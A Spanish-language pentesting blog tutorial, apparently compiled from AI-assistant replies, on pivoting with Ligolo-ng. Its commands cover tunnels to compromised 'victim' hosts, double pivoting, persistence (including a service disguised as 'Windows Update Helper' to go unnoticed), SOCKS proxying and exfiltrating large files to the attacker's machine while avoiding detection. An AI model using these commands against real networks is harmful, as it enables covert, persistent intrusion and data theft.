Guía de Pivoting con Ligolo-ng

 

 https://www.onlinetis.com/es/

Guía de Pivoting con Ligolo-ng

Si estás trabajando con Ligolo-ng (asumo que te refieres a la versión "Next Gen", que es la estándar hoy en día) en Kali Linux, estás usando una de las herramientas más potentes y ligeras para hacer pivoting durante un Pentest.

A diferencia de los túneles SSH tradicionales o Chisel, Ligolo crea una interfaz de red tun/tap, lo que te permite usar herramientas como nmap de forma nativa sin configurar proxies en cada comando.

Aquí tienes una guía rápida en español para ponerlo en marcha:


1. Preparación en Kali Linux (Proxy)

Primero, necesitas preparar tu máquina de atacante.

  1. Instalación: Descarga el binario del GitHub oficial.

  2. Configurar la interfaz: Ejecuta estos comandos para crear el túnel que recibirá la conexión:

    Bash
    sudo ip tuntap add user $(whoami) mode tun ligolo
    sudo ip link set ligolo up
    
  3. Ejecutar el Proxy:

    Bash
    ./proxy -selfcert
    

2. Ejecución en la Víctima (Agent)

Transfiere el binario agent a la máquina comprometida y conéctate a tu IP de Kali:

Bash
# En la máquina víctima (Windows o Linux)
./agent -connect <TU_IP_KALI>:11601 -ignore-cert

3. Establecer el Túnel

Vuelve a tu terminal de Kali donde corre el Proxy y verás que un agente se ha conectado.

  1. Escribe session y selecciona el número de sesión (ej. 1).

  2. Escribe start para iniciar el túnel.

  3. ¡Paso Crucial! Debes añadir la ruta en tu Kali para que sepa cómo llegar a la red interna de la víctima:

    Bash
    # En una nueva terminal de Kali:
    # Si la red interna es 10.10.10.0/24
    sudo ip route add 10.10.10.0/24 dev ligolo
    

Ventajas de usar Ligolo-ng

  • Velocidad: Es extremadamente rápido comparado con SOCKS4/5.

  • Simplicidad: No necesitas proxychains. Simplemente lanzas nmap 10.10.10.5 y funcionará directamente.

  • Soporte ICMP: Puedes hacer ping a las máquinas de la red interna.


¿Qué necesitas hacer ahora?

Si estás teniendo problemas con la conexión o necesitas los comandos específicos para Windows (como la creación de rutas inversas), dímelo y te ayudo a configurarlo.

 

El Double Pivoting (o salto doble) es donde Ligolo-ng realmente brilla por su sencillez. Imagina que ya estás en la Red A y descubres una Red B a la que solo tiene acceso una segunda máquina víctima.

Aquí tienes el esquema táctico para lograrlo:


El Escenario

  1. Kali: Tu IP.

  2. Víctima 1 (V1): Tiene acceso a la Red A ($10.10.10.0/24$) y a la Red B ($192.168.50.0/24$).

  3. Víctima 2 (V2): Está en la Red B y quieres llegar a ella desde tu Kali.


Paso 1: Configurar el Salto Inverso en V1

Para que la segunda víctima (V2) pueda llegar a tu Kali, debe pasar a través de V1. Como ya tienes una sesión de Ligolo con V1, vamos a crear un Listener.

  1. En la consola de Ligolo de tu Kali (en la sesión de V1), escribe:

    listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601

    ¿Qué hace esto? Abre el puerto 11601 en V1. Cualquier cosa que llegue ahí será redirigida por el túnel hacia el Proxy en tu Kali.


Paso 2: Ejecutar el Agente en V2

Ahora, desde la segunda máquina comprometida (V2), te conectas a la IP de V1:

Bash
# En V2 (apuntando a la IP de V1 en la Red B)
./agent -connect 192.168.50.10:11601 -ignore-cert

Paso 3: Gestionar la Nueva Sesión en Kali

En tu terminal de Kali verás un aviso de que hay una nueva sesión disponible.

  1. Escribe session para ver las dos conexiones.

  2. Selecciona la nueva sesión (ej. session 2).

  3. Escribe start.


Paso 4: Enrutar la Red B en Kali

Para que tus herramientas (nmap, crackmapexec, etc.) sepan llegar a la red profunda, añade la ruta en tu sistema operativo:

Bash
# En una terminal nueva de Kali
sudo ip route add 192.168.50.0/24 dev ligolo

Resumen de la cadena

Kali $\rightarrow$ interfaz ligolo $\rightarrow$ V1 (Listener) $\rightarrow$ V2 (Agente)

Tips de Pro:

  • Nombres de Interfaz: Si vas a hacer muchos saltos, puedes crear interfaces tun adicionales (ligolo2, ligolo3) para no mezclar el tráfico, aunque con una sola suele bastar si gestionas bien las rutas de IP.

  • Transferencia de archivos: Una vez establecida la ruta, puedes usar python3 -m http.server en tu Kali y descargar archivos en V2 usando directamente tu IP de Kali. ¡Magia!

 

La persistencia es clave porque, si la máquina se reinicia o el proceso se detiene, perderás todo el acceso a las redes internas que acabas de configurar.

Aquí tienes cómo automatizar el Agente de Ligolo-ng para que se ejecute solo, dependiendo del sistema operativo de la víctima:


1. Persistencia en Windows (Servicio de Sistema)

Esta es la forma más profesional y discreta. El agente se ejecutará cada vez que Windows arranque, incluso antes de que alguien inicie sesión.

Desde una terminal de PowerShell con privilegios de Administrador:

PowerShell
# 1. Creamos el servicio (ajusta la ruta donde tengas el exe)
New-Service -Name "WinUpdateSvc" -BinaryPathName "C:\temp\agent.exe -connect <TU_IP_KALI>:11601 -ignore-cert" -DisplayName "Windows Update Helper" -StartupType Automatic

# 2. Lo iniciamos
Start-Service "WinUpdateSvc"

Nota: He usado un nombre de visualización genérico ("Windows Update Helper") para que pase desapercibido en el Administrador de Tareas.


2. Persistencia en Linux (Systemd)

Si la víctima es un servidor Linux, lo ideal es crear un archivo de unidad de systemd.

  1. Crea el archivo de configuración:

    nano /etc/systemd/system/ligolo.service

  2. Pega el siguiente contenido (ajustando rutas e IP):

    Ini, TOML
    [Unit]
    Description=Ligolo-ng Agent
    After=network.target
    
    [Service]
    Type=simple
    ExecStart=/tmp/agent -connect <TU_IP_KALI>:11601 -ignore-cert
    Restart=on-failure
    RestartSec=5
    
    [Install]
    WantedBy=multi-user.target
    
  3. Habilita y arranca:

    Bash
    systemctl enable ligolo.service
    systemctl start ligolo.service
    

3. Bonus: Script de Reconexión (Bash)

Si no tienes permisos de root/admin, puedes usar un bucle simple en segundo plano para que, si la conexión se cae, el agente intente reconectar cada 30 segundos:

Bash
while true; do /tmp/agent -connect <TU_IP_KALI>:11601 -ignore-cert; sleep 30; done &

Un detalle importante sobre el Double Pivoting:

Recuerda que si el V1 (el que hace de puente) se reinicia, el túnel hacia V2 se romperá automáticamente. Por eso, siempre prioriza asegurar la persistencia en el "Salto 1" antes de profundizar demasiado.

 

Usar una Web UI (interfaz gráfica) para Ligolo-ng te permite visualizar todos tus túneles, sesiones y transferencias de datos de un vistazo, lo cual es de gran ayuda cuando el Double Pivoting se vuelve complejo.

A partir de las versiones más recientes, el proxy de Ligolo-ng ya incluye un servidor API que podemos aprovechar.

1. Preparar el Proxy con API

Para que la interfaz web pueda comunicarse con el proxy, debes ejecutar el proxy en tu Kali indicando un puerto para la API (por defecto el 127.0.0.1:11602):

Bash
# En tu Kali
./proxy -selfcert -laddr 0.0.0.0:11601

2. Usar Ligolo-ng Web UI

Hay varios proyectos en GitHub que ofrecen dashboards para Ligolo. El más popular es el de nicocha30 (el autor original).

Pasos para lanzarlo:

  1. Descarga el binario de la Web UI desde el repositorio oficial.

  2. Ejecútalo en tu Kali:

    Bash
    ./proxy-gui
    
  3. Abre tu navegador en http://localhost:11602.


3. Qué verás en la Interfaz

  • Active Sessions: Un listado de todas las máquinas (V1, V2, etc.) conectadas.

  • Tunnel Status: Si el túnel está Running o Stopped.

  • Remote Routes: Qué redes internas están siendo alcanzadas a través de cada agente.

  • Traffic Graphs: Gráficos en tiempo real de cuánto ancho de banda estás consumiendo (ideal para no saturar conexiones lentas).


⚠️ Un último consejo de "Pentester"

Cuando hagas Double Pivoting, la latencia aumenta. Si notas que nmap va muy lento hacia la Red B:

  1. Usa el flag -T4 o incluso -T3 (no seas demasiado agresivo).

  2. Usa --top-ports 100 en lugar de escanear los 65535 puertos de golpe.

  3. Si usas herramientas como BloodHound, lánzalas por secciones para no congelar el túnel.

 

Aunque Ligolo-ng funciona de maravilla a nivel de red (capa 3), a veces necesitas un Proxy SOCKS5 (capa 7) para herramientas específicas como:

  • FoxyProxy (para navegar por webs internas desde Firefox).

  • Burp Suite (para interceptar tráfico de aplicaciones en la red profunda).

  • Metasploit (algunos módulos prefieren Proxies).

Aquí tienes cómo activar el servidor SOCKS5 integrado en el propio Proxy de Ligolo:


1. Activar SOCKS5 en el Proxy de Kali

Cuando lances el proxy en tu máquina Kali, simplemente añade el flag -socks:

Bash
# Lanza el proxy con el puerto SOCKS 1080 (o el que prefieras)
./proxy -selfcert -socks 127.0.0.1:1080

Nota: Si ya tienes el proxy corriendo, tendrás que reiniciarlo con este parámetro. No te preocupes, los agentes (V1, V2) suelen intentar reconectarse automáticamente si tienes configurada la persistencia que hicimos antes.


2. Configurar tus Herramientas en Kali

Ahora que el puerto 1080 de tu Kali es una puerta de entrada a las redes de las víctimas, configúralo así:

Para el Navegador (FoxyProxy):

  1. Tipo: SOCKS5

  2. IP: 127.0.0.1

  3. Puerto: 1080

  4. DNS: Activa "Proxy DNS" para que puedas resolver nombres de dominio internos (si la Red A/B tiene un Active Directory).

Para Herramientas de Terminal (Proxychains):

Si por alguna razón prefieres no usar la interfaz ligolo directamente, edita tu archivo de configuración:

sudo nano /etc/proxychains4.conf

Al final del archivo, añade:

Plaintext
socks5  127.0.0.1 1080

3. Combinación Ganadora: Tun + SOCKS

Lo mejor de Ligolo-ng es que puedes usar ambos a la vez:

  1. Usa la Interfaz TUN (ligolo) para escaneos rápidos con nmap o crackmapexec.

  2. Usa el SOCKS5 para navegar por una intranet o usar Burp Suite en un objetivo específico.


Un truco de experto (Dynamic Port Forwarding)

Si estás en una sesión de Double Pivoting (V1 $\rightarrow$ V2) y quieres que el SOCKS apunte directamente a la Red B (la más profunda):

  • En la Web UI o en la consola, asegúrate de tener seleccionada la Sesión de V2.

  • El tráfico que envíes al puerto 1080 de tu Kali viajará automáticamente por toda la cadena hasta salir por V2.


Cuando te enfrentas a la exfiltración de archivos pesados (Gigas de bases de datos, backups o dumps de memoria) a través de un túnel de Ligolo-ng, el mayor enemigo es la corrupción de datos por micro-cortes y la lentitud del protocolo TCP sobre TCP.

Para hacerlo de forma profesional y segura, olvida el simple python3 -m http.server. Aquí tienes las tres mejores estrategias:


1. El Método "Resumible" (Rsync sobre Ligolo)

Si el archivo es muy grande y la conexión se corta al 90%, no querrás empezar de cero. Rsync permite reanudar la transferencia.

  1. En tu Kali (Receptor):

    Asegúrate de tener el servicio SSH activo o usa un servidor rsync simple.

  2. En la Víctima (Linux):

    Aprovecha que Ligolo ya te da una ruta directa a tu IP de Kali:

    Bash
    # El flag -P muestra progreso y permite reanudar (--partial --progress)
    rsync -avP /ruta/archivo_pesado.zip user@<TU_IP_KALI>:/home/user/exfil/
    

2. Compresión y Fragmentación (El truco del Pentester)

Nunca muevas un archivo pesado "en crudo". Es mejor dividirlo en trozos pequeños. Si uno falla, solo reenvías ese trozo.

En Windows (PowerShell + 7zip o Compress-Archive):

Si no tienes 7zip, usa este comando nativo para dividirlo en partes de 100MB:

PowerShell
$archivo = "C:\backup.bak"
$bytes = [System.IO.File]::ReadAllBytes($archivo)
$i = 0
$size = 100MB
while ($i -lt $bytes.Length) {
    $chunk = $bytes[$i..($i + $size - 1)]
    [System.IO.File]::WriteAllBytes("C:\temp\parte_$($i/$size).dat", $chunk)
    $i += $size
}

En Linux:

Bash
# Comprimir y dividir en trozos de 100MB
tar -czf - /home/db_data | split -b 100M - /tmp/db_part_

3. Uso de Croc (Velocidad y Seguridad)

Croc es una herramienta excelente que funciona de maravilla a través de los túneles de Ligolo porque maneja su propio control de errores y usa cifrado PAKE.

  1. En tu Kali: croc receive

  2. En la Víctima: croc send archivo.zip


4. Optimización del Túnel Ligolo para Tráfico Pesado

Si vas a mover mucha carga, el agente de Ligolo puede consumir mucha CPU o ser detectado por anomalía de tráfico.

  • MTU: Si notas que la conexión es inestable, ajusta el MTU de la interfaz ligolo en tu Kali a 1450 o 1400 para evitar fragmentación de paquetes IP:

    Bash
    sudo ip link set dev ligolo mtu 1400
    
  • Prioridad: Si estás en un Double Pivot, la exfiltración desde V2 será mucho más lenta. Intenta mover el archivo primero de V2 a V1 (red interna local, muy rápido) y luego de V1 a tu Kali.

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux